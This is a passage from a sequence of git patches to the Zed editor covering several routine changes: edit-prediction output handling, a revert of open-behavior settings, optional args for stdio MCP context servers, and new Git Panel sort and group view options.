-    parse_zeta2_model_output, stop_tokens_for_format,
+    ParsedOutput, ZetaFormat, ZetaPromptInput, excerpt_ranges_for_format, format_zeta_prompt,
+    get_prefill, parse_zeta2_model_output, stop_tokens_for_format,
     zeta1::{self, EDITABLE_REGION_END_MARKER},
 };
 
@@ -304,78 +301,70 @@ pub fn request_prediction_with_zeta(
 
             log::trace!("Got edit prediction response");
 
-            let Some(ParsedOutput {
-                new_editable_region: mut output_text,
-                range_in_excerpt: editable_range_in_excerpt,
-                cursor_offset_in_new_editable_region: cursor_offset_in_output,
-            }) = output
-            else {
-                let editable_range_in_excerpt =
-                    excerpt_range_for_format(zeta_format, &prompt_input.excerpt_ranges).0;
-                let editable_range_in_buffer = editable_range_in_excerpt.start
-                    + full_context_offset_range.start
-                    ..editable_range_in_excerpt.end + full_context_offset_range.start;
-
-                return Ok((
-                    Some((
-                        request_id,
-                        Some(Prediction {
-                            prompt_input,
-                            buffer,
-                            snapshot: snapshot.clone(),
-                            edits: Vec::new(),
-                            cursor_position: None,
-                            editable_range_in_buffer,
-                        }),
-                        model_version,
-                    )),
-                    usage,
-                ));
-            };
+            let (new_editable_region, cursor_offset_in_output, editable_range_in_excerpt) =
+                if let Some(output) = output {
+                    let ParsedOutput {
+                        new_editable_region: output_text,
+                        range_in_excerpt: editable_range_in_excerpt,
+                        cursor_offset_in_new_editable_region: cursor_offset_in_output,
+                    } = output;
+                    (
+                        Some(output_text),
+                        cursor_offset_in_output,
+                        editable_range_in_excerpt,
+                    )
+                } else {
+                    let (editable_range, _) =
+                        excerpt_ranges_for_format(zeta_format, &prompt_input.excerpt_ranges);
+                    (None, None, editable_range)
+                };
 
             let editable_range_in_buffer = editable_range_in_excerpt.start
                 + full_context_offset_range.start
                 ..editable_range_in_excerpt.end + full_context_offset_range.start;
 
-            let mut old_text = snapshot
-                .text_for_range(editable_range_in_buffer.clone())
-                .collect::<String>();
-
             if let Some(debug_tx) = &debug_tx {
                 debug_tx
                     .unbounded_send(DebugEvent::EditPredictionFinished(
                         EditPredictionFinishedDebugEvent {
                             buffer: buffer.downgrade(),
                             position,
-                            model_output: Some(output_text.clone()),
+                            model_output: new_editable_region.clone(),
                         },
                     ))
                     .ok();
             }
+            let (edits, cursor_position) = new_editable_region
+                .map(|mut output_text| {
+                    let mut old_text = snapshot
+                        .text_for_range(editable_range_in_buffer.clone())
+                        .collect::<String>();
 
-            if !output_text.is_empty() && !output_text.ends_with('\n') {
-                output_text.push('\n');
-            }
-            if !old_text.is_empty() && !old_text.ends_with('\n') {
-                old_text.push('\n');
-            }
+                    if !output_text.is_empty() && !output_text.ends_with('\n') {
+                        output_text.push('\n');
+                    }
+                    if !old_text.is_empty() && !old_text.ends_with('\n') {
+                        old_text.push('\n');
+                    }
 
-            let (edits, cursor_position) = compute_edits_and_cursor_position(
-                old_text,
-                &output_text,
-                editable_range_in_buffer.start,
-                cursor_offset_in_output,
-                &snapshot,
-            );
+                    compute_edits_and_cursor_position(
+                        old_text,
+                        &output_text,
+                        editable_range_in_buffer.start,
+                        cursor_offset_in_output,
+                        &snapshot,
+                    )
+                })
+                .unwrap_or_default();
 
-            let prediction = Some(Prediction {
+            let prediction = Prediction {
                 prompt_input,
                 buffer,
                 snapshot: snapshot.clone(),
                 edits,
                 cursor_position,
                 editable_range_in_buffer,
-            });
+            };
 
             anyhow::Ok((Some((request_id, prediction, model_version)), usage))
         }
@@ -389,32 +378,24 @@ pub fn request_prediction_with_zeta(
         };
         let request_duration = cx.background_executor().now() - request_start;
 
-        let Some(Prediction {
+        let Prediction {
             prompt_input: inputs,
             buffer: edited_buffer,
             snapshot: edited_buffer_snapshot,
             edits,
             cursor_position,
             editable_range_in_buffer,
-            ..
-        }) = prediction
-        else {
-            return Ok(Some(EditPredictionResult {
-                id,
-                prediction: Err(EditPredictionRejectReason::Empty),
-                display_prediction: None,
-                model_version,
-                e2e_latency: request_duration,
-            }));
-        };
+        } = prediction;
 
+        let editable_anchor_range =
+            edited_buffer_snapshot.anchor_range_inside(editable_range_in_buffer.clone());
         let result = EditPredictionResult::new(
             id,
             &edited_buffer,
             &edited_buffer_snapshot,
             edits.into(),
             cursor_position,
-            Some(edited_buffer_snapshot.anchor_range_inside(editable_range_in_buffer.clone())),
+            Some(editable_anchor_range),
             inputs,
             model_version,
             trigger,
@@ -423,7 +404,8 @@ pub fn request_prediction_with_zeta(
         )
         .await;
 
-        if can_collect_data && let Ok(prediction) = &result.prediction {
+        if can_collect_data {
+            let prediction = &result.prediction;
             let weak_this = this.clone();
             let request_id = prediction.id.clone();
             let edited_buffer = edited_buffer.clone();
diff --git a/crates/edit_prediction_cli/src/predict.rs b/crates/edit_prediction_cli/src/predict.rs
index 5ba7efb5bfa8b3..a0e1ffdcafccd3 100644
--- a/crates/edit_prediction_cli/src/predict.rs
+++ b/crates/edit_prediction_cli/src/predict.rs
@@ -302,7 +302,7 @@ pub async fn run_prediction(
             .await?;
 
         let actual_patch = prediction.and_then(|prediction| {
-            let prediction = prediction.prediction.ok()?;
+            let prediction = prediction.prediction;
             prediction
                 .edit_preview
                 .as_unified_diff(prediction.snapshot.file(), &prediction.edits)
diff --git a/crates/edit_prediction_ui/src/rate_prediction_modal.rs b/crates/edit_prediction_ui/src/rate_prediction_modal.rs
index deae41c21ef366..be19ac5a744c99 100644
--- a/crates/edit_prediction_ui/src/rate_prediction_modal.rs
+++ b/crates/edit_prediction_ui/src/rate_prediction_modal.rs
@@ -138,7 +138,7 @@ impl RatePredictionsModal {
         self.selected_index += 1;
         self.selected_index = usize::min(
             self.selected_index,
-            self.ep_store.read(cx).shown_predictions().count(),
+            self.ep_store.read(cx).rateable_predictions().count(),
         );
         cx.notify();
     }
@@ -157,7 +157,7 @@ impl RatePredictionsModal {
         let next_index = self
             .ep_store
             .read(cx)
-            .shown_predictions()
+            .rateable_predictions()
             .skip(self.selected_index)
             .enumerate()
             .skip(1) // Skip straight to the next item
@@ -172,12 +172,12 @@ impl RatePredictionsModal {
 
     fn select_prev_edit(&mut self, _: &PreviousEdit, _: &mut Window, cx: &mut Context<Self>) {
         let ep_store = self.ep_store.read(cx);
-        let completions_len = ep_store.shown_completions_len();
+        let completions_len = ep_store.rateable_predictions_count();
 
         let prev_index = self
             .ep_store
             .read(cx)
-            .shown_predictions()
+            .rateable_predictions()
             .rev()
             .skip((completions_len - 1) - self.selected_index)
             .enumerate()
@@ -198,7 +198,7 @@ impl RatePredictionsModal {
     }
 
     fn select_last(&mut self, _: &menu::SelectLast, _window: &mut Window, cx: &mut Context<Self>) {
-        self.selected_index = self.ep_store.read(cx).shown_completions_len() - 1;
+        self.selected_index = self.ep_store.read(cx).rateable_predictions_count() - 1;
         cx.notify();
     }
 
@@ -283,7 +283,7 @@ impl RatePredictionsModal {
         let completion = self
             .ep_store
             .read(cx)
-            .shown_predictions()
+            .rateable_predictions()
             .skip(self.selected_index)
             .take(1)
             .next()
@@ -296,7 +296,7 @@ impl RatePredictionsModal {
         let completion = self
             .ep_store
             .read(cx)
-            .shown_predictions()
+            .rateable_predictions()
             .skip(self.selected_index)
             .take(1)
             .next()
@@ -421,7 +421,7 @@ impl RatePredictionsModal {
             self.selected_index = self
                 .ep_store
                 .read(cx)
-                .shown_predictions()
+                .rateable_predictions()
                 .enumerate()
                 .find(|(_, completion_b)| prediction.id == completion_b.id)
                 .map(|(ix, _)| ix)
@@ -1127,7 +1127,7 @@ impl RatePredictionsModal {
     fn render_shown_completions(&self, cx: &Context<Self>) -> impl Iterator<Item = ListItem> {
         self.ep_store
             .read(cx)
-            .shown_predictions()
+            .rateable_predictions()
             .cloned()
             .enumerate()
             .map(|(index, completion)| {

From 4d94097df071e30fda6557ff951c2279df7df77d Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Sun, 21 Jun 2026 20:16:02 +0200
Subject: [PATCH 014/772] Revert "zed: Respect `default_open_behavior` when
 opening from Finder" (#59670)

Reverts zed-industries/zed#59551

Will re-land in #59661
---
 crates/zed/src/zed/open_listener.rs | 52 ++---------------------------
 1 file changed, 3 insertions(+), 49 deletions(-)

diff --git a/crates/zed/src/zed/open_listener.rs b/crates/zed/src/zed/open_listener.rs
index 2d29df420d18e7..eb38c1cac9254a 100644
--- a/crates/zed/src/zed/open_listener.rs
+++ b/crates/zed/src/zed/open_listener.rs
@@ -761,13 +761,9 @@ pub(crate) fn open_options_for_request(
     location: &SerializedWorkspaceLocation,
     cx: &App,
 ) -> workspace::OpenOptions {
-    let open_behavior = open_behavior.unwrap_or_else(|| {
-        match workspace::WorkspaceSettings::get_global(cx).default_open_behavior {
-            settings::DefaultOpenBehavior::ExistingWindow => cli::OpenBehavior::ExistingWindow,
-            settings::DefaultOpenBehavior::NewWindow => cli::OpenBehavior::Classic,
-        }
-    });
-    open_options_for_behavior(open_behavior, location, cx)
+    open_behavior.map_or_else(workspace::OpenOptions::default, |open_behavior| {
+        open_options_for_behavior(open_behavior, location, cx)
+    })
 }
 
 pub(crate) fn open_options_for_behavior(
@@ -1365,48 +1361,6 @@ mod tests {
         assert!(options.requesting_window.is_none());
     }
 
-    #[gpui::test]
-    fn test_open_options_for_request_respects_default_open_behavior(cx: &mut TestAppContext) {
-        use gpui::UpdateGlobal as _;
-
-        let _app_state = init_test(cx);
-
-        // A `None` behavior (e.g. a Finder or URL open) consults the UI-level
-        // `default_open_behavior` setting rather than falling back to fixed
-        // defaults.
-        cx.update(|cx| {
-            settings::SettingsStore::update_global(cx, |store, cx| {
-                store.update_user_settings(cx, |settings| {
-                    settings.workspace.default_open_behavior =
-                        Some(settings::DefaultOpenBehavior::NewWindow);
-                });
-            });
-        });
-        let options =
-            cx.update(|cx| open_options_for_request(None, &SerializedWorkspaceLocation::Local, cx));
-        assert_eq!(
-            options.workspace_matching,
-            workspace::WorkspaceMatching::MatchExact
-        );
-        assert!(!options.add_dirs_to_sidebar);
-
-        cx.update(|cx| {
-            settings::SettingsStore::update_global(cx, |store, cx| {
-                store.update_user_settings(cx, |settings| {
-                    settings.workspace.default_open_behavior =
-                        Some(settings::DefaultOpenBehavior::ExistingWindow);
-                });
-            });
-        });
-        let options =
-            cx.update(|cx| open_options_for_request(None, &SerializedWorkspaceLocation::Local, cx));
-        assert_eq!(
-            options.workspace_matching,
-            workspace::WorkspaceMatching::MatchExact
-        );
-        assert!(options.add_dirs_to_sidebar);
-    }
-
     #[gpui::test]
     fn test_parse_agent_url(cx: &mut TestAppContext) {
         let _app_state = init_test(cx);

From ca2d7fd9e5c1af5cea57cb2d3c9109aea341925a Mon Sep 17 00:00:00 2001
From: Ibrahim Khan <2005ibrahimkhan@gmail.com>
Date: Sun, 21 Jun 2026 15:34:04 -0700
Subject: [PATCH 015/772] settings_content: Make context server args optional
 (#59623)

# Objective

- Fixes #59614.
- A stdio `context_servers` entry defined with only a `command` (the
minimal form most MCP hosts accept, e.g. `{ "command": "echo" }`) fails
to deserialize. `ContextServerCommand.args` is a required field, so the
entry matches no variant of the untagged `ContextServerSettingsContent`;
the server silently never loads, and the only log line is the opaque
`data did not match any variant of untagged enum
ContextServerSettingsContent`. Other fields (`env`, `timeout`) are
already optional, and the docs only ever show `args` with a value
without stating it is required, so users reasonably assume it is
optional.

## Solution

- Add `#[serde(default)]` to `ContextServerCommand.args` in
`crates/settings_content/src/project.rs`, so it defaults to an empty
list when omitted, the same way `env` and `timeout` are already
optional. `{ "command": "echo" }` now defines a valid stdio server with
no arguments.

## Testing

- Added `test_stdio_context_server_without_args` in
`crates/settings_content/src/project.rs`, which deserializes `{
"command": "echo" }` (asserts empty `args`) and `{ "command": "echo",
"args": ["hello"] }` (regression guard).
- Fail-before/pass-after confirmed: without the change the new test
fails with the exact error from the issue; with it, `cargo test -p
settings_content` passes (24 passed, 0 failed).
- `cargo clippy -p settings_content --tests` and `cargo fmt -p
settings_content -- --check` are clean.
- serde-only change; platform-independent.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed stdio MCP servers configured with only a `command` (no `args`)
failing to load.
---
 crates/settings_content/src/project.rs | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/crates/settings_content/src/project.rs b/crates/settings_content/src/project.rs
index 3d64cda282e920..6e62f56ddf3cd2 100644
--- a/crates/settings_content/src/project.rs
+++ b/crates/settings_content/src/project.rs
@@ -481,6 +481,7 @@ pub struct OAuthClientSettings {
 pub struct ContextServerCommand {
     #[serde(rename = "command")]
     pub path: PathBuf,
+    #[serde(default)]
     pub args: Vec<String>,
     pub env: Option<HashMap<String, String>>,
     /// Timeout for tool calls in seconds. Defaults to 60 if not specified.
@@ -847,3 +848,27 @@ pub enum GitHostingProviderKind {
     Forgejo,
     SourceHut,
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_stdio_context_server_without_args() {
+        let settings: ContextServerSettingsContent =
+            serde_json::from_str(r#"{ "command": "echo" }"#)
+                .expect("stdio context server without `args` should parse");
+        let ContextServerSettingsContent::Stdio { command, .. } = settings else {
+            panic!("expected Stdio variant, got {settings:?}");
+        };
+        assert_eq!(command.path, PathBuf::from("echo"));
+        assert!(command.args.is_empty());
+
+        let settings: ContextServerSettingsContent =
+            serde_json::from_str(r#"{ "command": "echo", "args": ["hello"] }"#).unwrap();
+        let ContextServerSettingsContent::Stdio { command, .. } = settings else {
+            panic!("expected Stdio variant, got {settings:?}");
+        };
+        assert_eq!(command.args, vec!["hello".to_string()]);
+    }
+}

From 076fd14c88336fca9d2a4093452f3820c27453dd Mon Sep 17 00:00:00 2001
From: Sathwik Chirivelli <146921254+chirivelli@users.noreply.github.com>
Date: Mon, 22 Jun 2026 04:06:42 +0530
Subject: [PATCH 016/772] git_panel: Add better view options (#59043)

Self-Review Checklist:

- [x] I have reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Summary

This updates the Git Panel view controls so the panel can independently
model:

- whether entries are shown as a list or tree
- whether flat entries are sorted by path or name
- whether entries are grouped by status or shown as one combined set

It also keeps the Project Diff order consistent with the Git Panel,
including tree ordering, status grouping, and flat name/path sorting.

## Why This Is Useful

The previous sort_by_path boolean overloaded two separate ideas: sorting
and grouping. That made it hard to represent the view users actually
wanted, especially a single tree where tracked and untracked files are
not split into separate sections.

This change replaces that boolean with explicit enum settings:

- git_panel.sort_by: path or name
- git_panel.group_by: none or status

That keeps the settings mutually exclusive, easier to extend, and closer
to the UI model.

## Implementation Notes

- Adds a dedicated Git Panel View Options menu using the sliders icon.
- Moves view, sort, and group controls out of the overflow actions menu.
- Disables sort options in tree view because tree order is folder-first
rather than pure path/name sorting.
- Removes the Tracked heading when grouping is disabled.
- Keeps Git Panel tree expansion state when switching view options.
- Recomputes Project Diff sort prefixes from tree_view, sort_by, and
group_by so diff cards follow the same top-to-bottom order as the Git
Panel.
- Preserves Project Diff open/closed file state across view option
changes by carrying fold state by repo path instead of by synthetic sort
key.
- Updates settings UI renderers and docs for the new enum settings.

## Testing

- [x] cargo fmt --package git_ui --package settings_ui
- [x] cargo check -p git_ui
- [x] Verified settings UI enum dropdown rendering for Git Panel
sort/group settings

Closes https://github.com/zed-industries/zed/issues/53555
Closes https://github.com/zed-industries/zed/issues/56039
Closes https://github.com/zed-industries/zed/issues/45438

Release Notes:

- Improved Git Panel view options and Project Diff ordering.

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 assets/settings/default.json                  |  10 +-
 crates/git_ui/src/git_panel.rs                | 416 +++++++++++++++---
 crates/git_ui/src/git_panel_settings.rs       |   8 +-
 crates/git_ui/src/project_diff.rs             | 239 ++++++++--
 .../settings_content/src/settings_content.rs  |  54 ++-
 crates/settings_ui/src/page_data.rs           |  29 +-
 crates/settings_ui/src/settings_ui.rs         |   2 +
 docs/src/reference/all-settings.md            |   6 +-
 docs/src/visual-customization.md              |   3 +-
 9 files changed, 646 insertions(+), 121 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 7841c0e3ebe8ac..9b023b82c1cc79 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -974,10 +974,14 @@
     //
     // Default: main
     "fallback_branch_name": "main",
-    // Whether to sort entries in the panel by path or by status (the default).
+    // How to sort entries in the git panel.
     //
-    // Default: false
-    "sort_by_path": false,
+    // Default: path
+    "sort_by": "path",
+    // How to group entries in the git panel.
+    //
+    // Default: status
+    "group_by": "status",
     // Whether to collapse untracked files in the diff panel.
     //
     // Default: false
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index c5716b9ba927d5..4382af63dbcb92 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -62,7 +62,9 @@ use project::{
 use prompt_store::RULES_FILE_NAMES;
 use proto::RpcError;
 use serde::{Deserialize, Serialize};
-use settings::{Settings, SettingsStore, StatusStyle, update_settings_file};
+use settings::{
+    GitPanelGroupBy, GitPanelSortBy, Settings, SettingsStore, StatusStyle, update_settings_file,
+};
 use smallvec::SmallVec;
 use std::future::Future;
 use std::ops::Range;
@@ -72,9 +74,9 @@ use strum::{IntoEnumIterator, VariantNames};
 use theme_settings::ThemeSettings;
 use time::OffsetDateTime;
 use ui::{
-    ButtonLike, Checkbox, ContextMenu, Divider, ElevationIndex, IndentGuideColors, KeyBinding,
-    PopoverMenu, ProjectEmptyState, RenderedIndentGuide, ScrollAxes, Scrollbars, SplitButton, Tab,
-    TintColor, Tooltip, WithScrollbar, prelude::*,
+    ButtonLike, Checkbox, ContextMenu, ContextMenuEntry, Divider, ElevationIndex,
+    IndentGuideColors, KeyBinding, PopoverMenu, ProjectEmptyState, RenderedIndentGuide, ScrollAxes,
+    Scrollbars, SplitButton, Tab, TintColor, Tooltip, WithScrollbar, prelude::*,
 };
 use util::paths::PathStyle;
 use util::{ResultExt, TryFutureExt, markdown::MarkdownInlineCode, maybe, rel_path::RelPath};
@@ -111,8 +113,14 @@ actions!(
         LastEntry,
         /// Toggles automatic co-author suggestions.
         ToggleFillCoAuthors,
-        /// Toggles sorting entries by path vs status.
-        ToggleSortByPath,
+        /// Sorts entries by path.
+        SetSortByPath,
+        /// Sorts entries by name.
+        SetSortByName,
+        /// Disables grouping entries by status.
+        SetGroupByNone,
+        /// Groups entries by status.
+        SetGroupByStatus,
         /// Toggles showing entries in tree vs flat view.
         ToggleTreeView,
         /// Expands the selected entry to show its children.
@@ -159,7 +167,8 @@ struct GitMenuState {
     has_staged_changes: bool,
     has_unstaged_changes: bool,
     has_new_changes: bool,
-    sort_by_path: bool,
+    sort_by: GitPanelSortBy,
+    group_by: GitPanelGroupBy,
     has_stash_items: bool,
     tree_view: bool,
 }
@@ -204,27 +213,79 @@ fn git_panel_context_menu(
                 "Trash Untracked Files",
                 TrashUntrackedFiles.boxed_clone(),
             )
+    })
+}
+
+fn git_panel_view_options_menu(
+    focus_handle: FocusHandle,
+    state: GitMenuState,
+    window: &mut Window,
+    cx: &mut App,
+) -> Entity<ContextMenu> {
+    ContextMenu::build(window, cx, move |context_menu, _, _| {
+        context_menu
+            .context(focus_handle)
+            .header("View")
+            .item(
+                ContextMenuEntry::new("List")
+                    .toggle(IconPosition::End, !state.tree_view)
+                    .handler(move |window, cx| {
+                        if state.tree_view {
+                            window.dispatch_action(Box::new(ToggleTreeView), cx);
+                        }
+                    }),
+            )
+            .item(
+                ContextMenuEntry::new("Tree")
+                    .toggle(IconPosition::End, state.tree_view)
+                    .handler(move |window, cx| {
+                        if !state.tree_view {
+                            window.dispatch_action(Box::new(ToggleTreeView), cx);
+                        }
+                    }),
+            )
             .separator()
-            .entry(
-                if state.tree_view {
-                    "Flat View"
-                } else {
-                    "Tree View"
-                },
-                Some(Box::new(ToggleTreeView)),
-                move |window, cx| window.dispatch_action(Box::new(ToggleTreeView), cx),
+            .header("Sort By")
+            .item(
+                ContextMenuEntry::new("Path")
+                    .toggle(IconPosition::End, state.sort_by == GitPanelSortBy::Path)
+                    .disabled(state.tree_view)
+                    .handler(move |window, cx| {
+                        if !state.tree_view {
+                            window.dispatch_action(Box::new(SetSortByPath), cx);
+                        }
+                    }),
+            )
+            .item(
+                ContextMenuEntry::new("Name")
+                    .toggle(IconPosition::End, state.sort_by == GitPanelSortBy::Name)
+                    .disabled(state.tree_view)
+                    .handler(move |window, cx| {
+                        if !state.tree_view {
+                            window.dispatch_action(Box::new(SetSortByName), cx);
+                        }
+                    }),
+            )
+            .separator()
+            .header("Group By")
+            .item(
+                ContextMenuEntry::new("None")
+                    .toggle(IconPosition::End, state.group_by == GitPanelGroupBy::None)
+                    .handler(move |window, cx| {
+                        if state.group_by != GitPanelGroupBy::None {
+                            window.dispatch_action(Box::new(SetGroupByNone), cx);
+                        }
+                    }),
+            )
+            .item(
+                ContextMenuEntry::new("Status")
+                    .toggle(IconPosition::End, state.group_by == GitPanelGroupBy::Status)
+                    .handler(move |window, cx| {
+                        if state.group_by != GitPanelGroupBy::Status {
+                            window.dispatch_action(Box::new(SetGroupByStatus), cx);
+                        }
+                    }),
             )
-            .when(!state.tree_view, |this| {
-                this.entry(
-                    if state.sort_by_path {
-                        "Sort by Status"
-                    } else {
-                        "Sort by Path"
-                    },
-                    Some(Box::new(ToggleSortByPath)),
-                    move |window, cx| window.dispatch_action(Box::new(ToggleSortByPath), cx),
-                )
-            })
     })
 }
 
@@ -388,7 +449,7 @@ struct TreeViewState {
     // Length equals the number of visible entries.
     // This is needed because some entries (like collapsed directories) may be hidden.
     logical_indices: Vec<usize>,
-    expanded_dirs: HashMap<TreeKey, bool>,
+    expanded_dirs: HashMap<RepoPath, bool>,
     directory_descendants: HashMap<TreeKey, Vec<GitStatusEntry>>,
 }
 
@@ -463,8 +524,8 @@ impl TreeViewState {
             let (child_flattened, mut child_statuses) =
                 self.flatten_tree(terminal, section, depth + 1, seen_directories);
             let key = TreeKey { section, path };
-            let expanded = *self.expanded_dirs.get(&key).unwrap_or(&true);
-            self.expanded_dirs.entry(key.clone()).or_insert(true);
+            let expanded = *self.expanded_dirs.get(&key.path).unwrap_or(&true);
+            self.expanded_dirs.entry(key.path.clone()).or_insert(true);
             seen_directories.insert(key.clone());
 
             self.directory_descendants
@@ -646,6 +707,7 @@ pub struct GitPanel {
     generate_commit_message_task: Option<Task<Option<()>>>,
     entries: Vec<GitListEntry>,
     view_mode: GitPanelViewMode,
+    tree_expanded_dirs: HashMap<RepoPath, bool>,
     entries_indices: HashMap<RepoPath, usize>,
     single_staged_entry: Option<GitStatusEntry>,
     single_tracked_entry: Option<GitStatusEntry>,
@@ -746,24 +808,39 @@ impl GitPanel {
             let focus_handle = cx.focus_handle();
             cx.on_focus(&focus_handle, window, Self::focus_in).detach();
 
-            let mut was_sort_by_path = GitPanelSettings::get_global(cx).sort_by_path;
+            let mut was_sort_by = GitPanelSettings::get_global(cx).sort_by;
+            let mut was_group_by = GitPanelSettings::get_global(cx).group_by;
             let mut was_tree_view = GitPanelSettings::get_global(cx).tree_view;
             let mut was_file_icons = GitPanelSettings::get_global(cx).file_icons;
             let mut was_folder_icons = GitPanelSettings::get_global(cx).folder_icons;
             let mut was_diff_stats = GitPanelSettings::get_global(cx).diff_stats;
             cx.observe_global_in::<SettingsStore>(window, move |this, window, cx| {
                 let settings = GitPanelSettings::get_global(cx);
-                let sort_by_path = settings.sort_by_path;
+                let sort_by = settings.sort_by;
+                let group_by = settings.group_by;
                 let tree_view = settings.tree_view;
                 let file_icons = settings.file_icons;
                 let folder_icons = settings.folder_icons;
                 let diff_stats = settings.diff_stats;
                 if tree_view != was_tree_view {
-                    this.view_mode = GitPanelViewMode::from_settings(cx);
+                    match (&mut this.view_mode, tree_view) {
+                        (GitPanelViewMode::Tree(state), false) => {
+                            this.tree_expanded_dirs = state.expanded_dirs.clone();
+                            this.view_mode = GitPanelViewMode::Flat;
+                        }
+                        (GitPanelViewMode::Flat, true) => {
+                            this.view_mode = GitPanelViewMode::Tree(TreeViewState {
+                                expanded_dirs: this.tree_expanded_dirs.clone(),
+                                ..Default::default()
+                            });
+                        }
+                        _ => {}
+                    }
                 }
 
                 let mut update_entries = false;
-                if sort_by_path != was_sort_by_path || tree_view != was_tree_view {
+                if sort_by != was_sort_by || group_by != was_group_by || tree_view != was_tree_view
+                {
                     this.bulk_staging.take();
                     update_entries = true;
                 }
@@ -773,7 +850,8 @@ impl GitPanel {
                 if file_icons != was_file_icons || folder_icons != was_folder_icons {
                     cx.notify();
                 }
-                was_sort_by_path = sort_by_path;
+                was_sort_by = sort_by;
+                was_group_by = group_by;
                 was_tree_view = tree_view;
                 was_file_icons = file_icons;
                 was_folder_icons = folder_icons;
@@ -846,6 +924,7 @@ impl GitPanel {
                 generate_commit_message_task: None,
                 entries: Vec::new(),
                 view_mode: GitPanelViewMode::from_settings(cx),
+                tree_expanded_dirs: HashMap::default(),
                 entries_indices: HashMap::default(),
                 focus_handle: cx.focus_handle(),
                 fs,
@@ -938,8 +1017,8 @@ impl GitPanel {
                     path: RepoPath::from_rel_path(dir),
                 };
 
-                if tree_state.expanded_dirs.get(&key) == Some(&false) {
-                    tree_state.expanded_dirs.insert(key, true);
+                if tree_state.expanded_dirs.get(&key.path) == Some(&false) {
+                    tree_state.expanded_dirs.insert(key.path.clone(), true);
                     needs_rebuild = true;
                 }
 
@@ -3477,20 +3556,56 @@ impl GitPanel {
         cx.notify();
     }
 
-    fn toggle_sort_by_path(
+    fn set_sort_by_path(&mut self, _: &SetSortByPath, _: &mut Window, cx: &mut Context<Self>) {
+        if let Some(workspace) = self.workspace.upgrade() {
+            let workspace = workspace.read(cx);
+            let fs = workspace.app_state().fs.clone();
+            cx.update_global::<SettingsStore, _>(|store, _cx| {
+                store.update_settings_file(fs, move |settings, _cx| {
+                    settings.git_panel.get_or_insert_default().sort_by = Some(GitPanelSortBy::Path);
+                });
+            });
+        }
+    }
+
+    fn set_sort_by_name(&mut self, _: &SetSortByName, _: &mut Window, cx: &mut Context<Self>) {
+        if let Some(workspace) = self.workspace.upgrade() {
+            let workspace = workspace.read(cx);
+            let fs = workspace.app_state().fs.clone();
+            cx.update_global::<SettingsStore, _>(|store, _cx| {
+                store.update_settings_file(fs, move |settings, _cx| {
+                    settings.git_panel.get_or_insert_default().sort_by = Some(GitPanelSortBy::Name);
+                });
+            });
+        }
+    }
+
+    fn set_group_by_none(&mut self, _: &SetGroupByNone, _: &mut Window, cx: &mut Context<Self>) {
+        if let Some(workspace) = self.workspace.upgrade() {
+            let workspace = workspace.read(cx);
+            let fs = workspace.app_state().fs.clone();
+            cx.update_global::<SettingsStore, _>(|store, _cx| {
+                store.update_settings_file(fs, move |settings, _cx| {
+                    settings.git_panel.get_or_insert_default().group_by =
+                        Some(GitPanelGroupBy::None);
+                });
+            });
+        }
+    }
+
+    fn set_group_by_status(
         &mut self,
-        _: &ToggleSortByPath,
+        _: &SetGroupByStatus,
         _: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        let current_setting = GitPanelSettings::get_global(cx).sort_by_path;
         if let Some(workspace) = self.workspace.upgrade() {
             let workspace = workspace.read(cx);
             let fs = workspace.app_state().fs.clone();
             cx.update_global::<SettingsStore, _>(|store, _cx| {
                 store.update_settings_file(fs, move |settings, _cx| {
-                    settings.git_panel.get_or_insert_default().sort_by_path =
-                        Some(!current_setting);
+                    settings.git_panel.get_or_insert_default().group_by =
+                        Some(GitPanelGroupBy::Status);
                 });
             });
         }
@@ -3559,8 +3674,9 @@ impl GitPanel {
 
     fn toggle_directory(&mut self, key: &TreeKey, window: &mut Window, cx: &mut Context<Self>) {
         if let Some(state) = self.view_mode.tree_state_mut() {
-            let expanded = state.expanded_dirs.entry(key.clone()).or_insert(true);
+            let expanded = state.expanded_dirs.entry(key.path.clone()).or_insert(true);
             *expanded = !*expanded;
+            self.tree_expanded_dirs = state.expanded_dirs.clone();
             self.update_visible_entries(window, cx);
         } else {
             util::debug_panic!("Attempted to toggle directory in flat Git Panel state");
@@ -3718,9 +3834,10 @@ impl GitPanel {
         self.max_width_item_index = None;
         self.git_access = GitAccess::Yes;
 
-        let sort_by_path = GitPanelSettings::get_global(cx).sort_by_path;
+        let settings = GitPanelSettings::get_global(cx);
+        let sort_by = settings.sort_by;
+        let group_by_status = settings.group_by == GitPanelGroupBy::Status;
         let is_tree_view = matches!(self.view_mode, GitPanelViewMode::Tree(_));
-        let group_by_status = is_tree_view || !sort_by_path;
 
         if let Some(active_repo) = self.active_repository.as_ref() {
             let access = active_repo.update(cx, |active_repo, cx| active_repo.access(cx));
@@ -3831,6 +3948,22 @@ impl GitPanel {
             self.single_tracked_entry = changed_entries.first().cloned();
         }
 
+        if !is_tree_view {
+            let sort_entries = |entries: &mut Vec<GitStatusEntry>| match sort_by {
+                GitPanelSortBy::Path => entries.sort_by(|a, b| a.repo_path.cmp(&b.repo_path)),
+                GitPanelSortBy::Name => entries.sort_by(|a, b| {
+                    a.repo_path
+                        .file_name()
+                        .cmp(&b.repo_path.file_name())
+                        .then_with(|| a.repo_path.cmp(&b.repo_path))
+                }),
